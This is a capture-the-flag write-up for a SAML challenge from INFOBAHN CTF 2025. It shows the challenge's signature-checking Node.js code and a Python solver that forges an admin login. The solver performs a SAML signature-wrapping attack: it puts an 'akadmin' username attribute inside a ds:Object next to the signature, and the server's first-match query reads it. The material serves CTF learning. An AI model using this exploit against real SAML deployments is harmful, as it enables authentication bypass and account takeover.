Skip to content

SAML

Created

Updated

2 min read

Reading time

Share:

Tip: for Facebook and LinkedIn, use Copy first, then paste when the platform opens.

goauthentik authenticantion bypass using Object

Event NameINFOBAHN CTF 2025
GitHub URL-
Challenge NameSAML
Attachments
References

solution
const username = xmlDoc.querySelector('Attribute[Name="http://schemas.goauthentik.io/2021/02/saml/username"] AttributeValue')?.textContent; -> this takes the first attribute  -> add object in the behind signature info

function verifySaml( xmlString, xmlDoc ) {
	const sig = new xmlCrypto.SignedXml();
	try {
		sig.publicCert = fs.readFileSync( 'public.pem', 'latin1' );
	} catch ( e ) {
		throw new Error( "Missing certificate." );
	}
	if ( !sig.publicCert ) {
		throw new Error( "Missing cert" );
	}

	const rootId = xmlDoc.documentElement.getAttribute( 'ID' );
	if ( !rootId || rootId.includes( '"' ) || rootId.includes( "\\" ) ) {
		throw new Error( 'invalid id' );
	}
	const signedInfoElm = xmlDoc.querySelectorAll( ':root > Signature' );
	if ( signedInfoElm.length !== 1 ) {
		throw new Error( 'wrong number sigs' );
	}
	if ( signedInfoElm[0].querySelectorAll( 'Reference[URI="#' + rootId + '"]' ).length !== 1 ) {
		throw new Error( 'invalid id' );
	}
	if ( signedInfoElm[0].querySelectorAll( 'Transform' ).length > 2 ) {
		throw new Error( "too many transforms" );
	}

	sig.loadSignature( signedInfoElm[0].outerHTML );
	sig.checkSignature( xmlString );
	if ( sig.getSignedReferences().length !== 1 ) {
		throw new Error( 'Signature mismatch' );
	}
}
...snip...
app.get( '/flag', ( req, res ) => {
	if ( req.query.SAMLResponse ) {
		const xmlString = zlib.inflateRawSync( Buffer.from( req.query.SAMLResponse, 'base64' ) ).toString();
		const xmlDoc = DOMParser.parseFromString( xmlString, 'application/xml' );
		if ( !xmlDoc || !xmlString || xmlDoc.documentElement.tagName === 'parsererror' ) {
			throw new Error( "invalid saml xml" );
		}
		console.log( "Recieved the following SAML:\n" + xmlString );
		verifySaml( xmlString, xmlDoc );
		const username = xmlDoc.querySelector(
			'Attribute[Name="http://schemas.goauthentik.io/2021/02/saml/username"] AttributeValue'
		)?.textContent;
		if ( username === 'akadmin' ) {
			res.type( 'text/plain' ).send( process.env.FLAG || 'flag{fake}' );
		} else {
			res.type( 'text/plain' ).status(401).send( `Hello ${username}. You are not authorized to view the flag.` );
		}
	} else {
		doLogin(res);
	}
} );

solver

#!/usr/bin/env python3
import base64
from urllib.parse import unquote, quote
import zlib

legit = "http://localhost:3000/flag?SAMLResponse=7ZlZb%2BJKFsff%2BRRR%2BhGlvWMbdaLxBhi84BXwy8hLeQPb4AUbPv0YEtKd3E5uj%2BaOrjTTElJUp06d%2BtepctWvKt8qN9vtxzqo9kVegbsu2%2BXV%2BGp8vG%2FKfFy4VVKNczcD1bj2xwYjS2P0Kzzel0Vd%2BMXu%2Focmn7dwqwqUdVLktyZB9Xgf1%2FV%2BDEFt235tsa9FGUEoDMMQTEO9T1Al0ZebdxZ8Hj4DtRu4tXvz70DufxAfgWD8Er%2F36MPboKx6VY%2F3fZT7O7GqGiDmVe3mdW%2BCUeIBQfqfCcNjFB5jiHN%2Fx4OqTnK3vrZ66WFX%2BO4uLqp6jF0GEO7cqA%2FGP97%2Fk0JgHwYU4cEjFMdRggIeDkgPRggCGY3C0f3Tt0vyxteeyye3qWOQ18n2G%2FSj%2BVtQjY0k6nttSvA0uBVBIOZh8Vzm3LzIk15Gcr5qk0EdF8Eds4uKMqnj7MNsIPAlGw%2Bg8x98BM%2B%2F3EPfO7j298uRnvN6mbeHrCjBl7JyH6rYRYnRLaYOQlD2iQd3li4%2B3n%2F5hfRc25mlm1dhUWbVu%2FKfqnqzmkB%2BBLtiD4KH6ja4m7Jfj%2FhBxqCfyOSTqF8s%2F2b%2BLuvybdaew9jurgFPC%2FJkhoctEhkKP6uCgN5WCSoR1X5d0FYH477d9oGGmVW1j1dNPzZ%2BVvk6CS%2Fl9yvpdeKfG%2Blri%2BaFHDkc6dXeblBPiuxkBUP6Sp0zrJJ3025HaE6wcPZTw2pm293CK3LWzNKWs31GGRDrQiQtz02i1mrURhC64Zo8bxesARMymeDnyUR2hLVMwXXsclExn5mF7ox8H2uawxaQA7yDDInxh6dW4Wh5WNZOMtdDjJA1OZ0UpGutTtLcz%2F2lnc0Sgk6YxDyFxEgtoH6Y9DAeOP5w5C5OYqnwHl4HPpJhjOBqc3QN%2B7qlzPV1nidRvNEqonPdIMpnKsYJtE1UB7vJkXRwnu%2BEZusdksNiWLteXvKRcthn9MGXYNHPZja5tFARUPPSRKUSlgJh71j4bLFrAr%2BhImFQpvN1pUEwtVdObpWm0Ko8cczj4%2BsE%2FJDw6yQswOn7jKwJmOb73e17ibtspmH%2FudfgSRZFXjY5jomziGlFlolEi9XaE9pxI%2FaIQswsEDPN8yoYdOVSa3ltM18UjhgffYXRBGnAaky74AVTZoUpg1gC07YLJ%2BtiBw12wUzf%2Bamgywx1rePaVjRWROah89id4u0s9pWBnFqdbDKozEewamrtqjc%2B28Tu1ZYyhazLraBteFvTeJ7ZZ950kjuoDQ%2BCqX2SdaHl22ulxDPx3Muc4yabFF7aD80Q38tme9V8FAlLhue4AaMVXF9gGdEwCIabwuRhPi8VVzxOpiVNjsT5tKJIjprNdlRToC2LWKa%2BPSvNaLncdLA%2BaKlhCI5HlTjqQT5s5NOMk5ejzWmBms1IIXNF4JWghcqVfoARikPjmegXLF0e1S5luSU0sI7Ho%2BHX6zImtrNOVGJoLkf6ITLD9Sz1mGPeQIdNLBrrFblAtTWhqCY%2B0fZxTh20SZ2OBnu6CkY2nzqUv4wYZ2FNVUE%2FkoAUpYUH9UsvwSIf0%2FQhvbW5dZydNUPdsZ6jztuTFBfUQEKbONtMJKfwaactUcQ7BtshkE1zRkTobJPg3dAK%2FCKpwZImFaa1LGRlCGQ1FZjtIowHRxiVeKwbasckCXNiMrMP0zxcM%2FXCWEq1zzGtwDCuYsoToZ1dplGHVZbdCBNxrUwkNR6UCrWjWd4dudQ2xaVjuBEdmb0unEBstY3MuszN%2BWe%2Bg5dVFgitwEKtNpEZmWVC6g9L9mXuWYbhF%2FthXNvSBPgGtRyIk3WKZZbKb5xl1ehUccbb0qSHu8q3NBNeTFjSSHb1Lp8PJ0LTcaaQtLOkcYLh2jdr9jCQ6mWTRF2exvSEJhFKUbySM9IoAO3JUoN16drKJJ1onMcmx6HtmSjRhGwBSWHY7ObldNB2aV12ukuu54WyOqnH8yHs4nivcjTH2Y7Jz6lVpQJbWUaZSByL1QQ6yxNfwQ8hI9OMOzh7SzEJAHFeQpjig%2FnO57PYRkS4yZvFLF3O96NuVWCUsVNbm4ewhKxDsGXtwKK0dN8pg8Y0HDyQoEMxDLqVXc%2Bma0ZpSxJJI6jwAzU952fe2phU2lnUceI0XcQ5oK6JKWsYy2Y%2BQFf9eYIxj8%2FHw%2Fvt5rv1ZUuC3mxXbza0Z7jZj426L1ZvS1wRgLvrjvc52lVX77HR%2BD6oqv5MfEajt0HHzI0v3xPdBcJGKB0SZBCgLhjheOj3fOHRKIyFNBa4LiB%2FCfz%2Bv0HtT1P4G9TeslbHVx3OnC1STDpBmBV2W09KHvPFjnTn252LRhGYdQtH8oS%2FCNS8wglR0pBUZDEFwXG5wBA88ByUZ49rlC0SIiNWLUzETXPiFhv%2BvEpm6XyplEo1B5p5nAyyvSZsRalRAnZRoUvNYurVyHdgbnPUz51UpTjpxrAL6hnA9w0h7BFOQqR9oZ%2BQCDrn8GDGBAZpCJKb6bP5ZIgiOoOLyRQOPRv0uKPWawvljHq%2BbqAtAau%2Bt%2BTSkbBEeIo30GRDD6RyKx1PjgpZITtDtqat5kne0jKyhpbehoslWUXIhSVO9Wg5FdtoF45kztD11WquykoWDVLobBFr30JVG%2FMy4qg6wLBbcmEKE6PaEDwldtjZrFtZ0fvNjHLClpkqpwJjYtYgpkt9YOkHuzQsNHD4yhkdgxpRRUT7DWq%2FQe03qP0Gtf9xUOshy0uBX7%2BUlJ7FRP5u0p%2BTbv05pF0sSfAQXl3H%2BwuCVXXPR%2FdPmA9jPTZ4BEqOcOAFPjlCMJIaIaSHAATxSY8gQyzwPMJDcQ93AzhE4dAPMYzESBrGX%2FjqWctbmVyRh8mlwwv2PR%2Fen6v0s7EH3BKU9x8HuuTqTilqNVdLJqxB%2BRYHkdd3QB34yT4BF1785BXwhqs%2F6%2Bpd1Yum3iNILtXVRQYL%2BpyC90iKEM8afkEndAPkHljzCzKDrNd8dy1%2BDLwI3Uc3et7udYh5ALreB4NRlwIBoDECwATa4yCgMOAGOIEC4OKeR2EkMSIIEvEoxCeQkA5hGkZpCh%2FRXg9Jt3h%2FED16gPuu4T%2By9lVkn48adPVPTNzOraoekp4%2BfXj2x%2F7Frzcv%2Bz9tUQbLsqj7fIPgioH7oqxfJuKnwX9S98b2mtObwrouE6%2BpwYcVd5fF%2FLpqKj8GmVt9jYrXO8XXpOhBE%2B1BE712BDVJcP8%2ByjODkDcpb83vrX%2BBhP5%2BdcnuBzqCpA%2BQuc3OzV0Yg4l%2FRJmb7L76RfZXCswSvyyqIqwvgaG2uuA4BcEjqN%2BHe9X1CernOskqqE3yoGgr1%2FeLJq%2F%2Fdt39baEq3P31BvGicFoWzf771%2Fnr7Z9HTUD97%2F2owUW7GwTl5aL88%2FH%2Bt0b1iao%2Fy%2F7fIKnZ5%2F9hfqAPv3Xo7XvE63PF7b9sT%2F8C"
legit = legit.strip("http://localhost:3000/flag?SAMLResponse=")
legit = unquote(legit)

xml = zlib.decompress(base64.b64decode(legit), -15).decode("utf-8")
print(xml)
injection = """
    <ds:Object xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
      <Attribute Name="http://schemas.goauthentik.io/2021/02/saml/username">
        <AttributeValue>akadmin</AttributeValue>
      </Attribute>
    </ds:Object>
"""

marker = "</ds:SignatureValue>"
if marker not in xml:
    marker = "</SignatureValue>"
if marker not in xml:
    raise SystemExit("could not locate SignatureValue closing tag")

xml = xml.replace(marker, marker + injection, 1)

deflater = zlib.compressobj(wbits=-15)
payload = deflater.compress(xml.encode("utf-8")) + deflater.flush()
print("http://localhost:3000/flag?SAMLResponse="+quote(base64.b64encode(payload).decode("utf-8")))

Share this note

Share:

Tip: for Facebook and LinkedIn, use Copy first, then paste when the platform opens.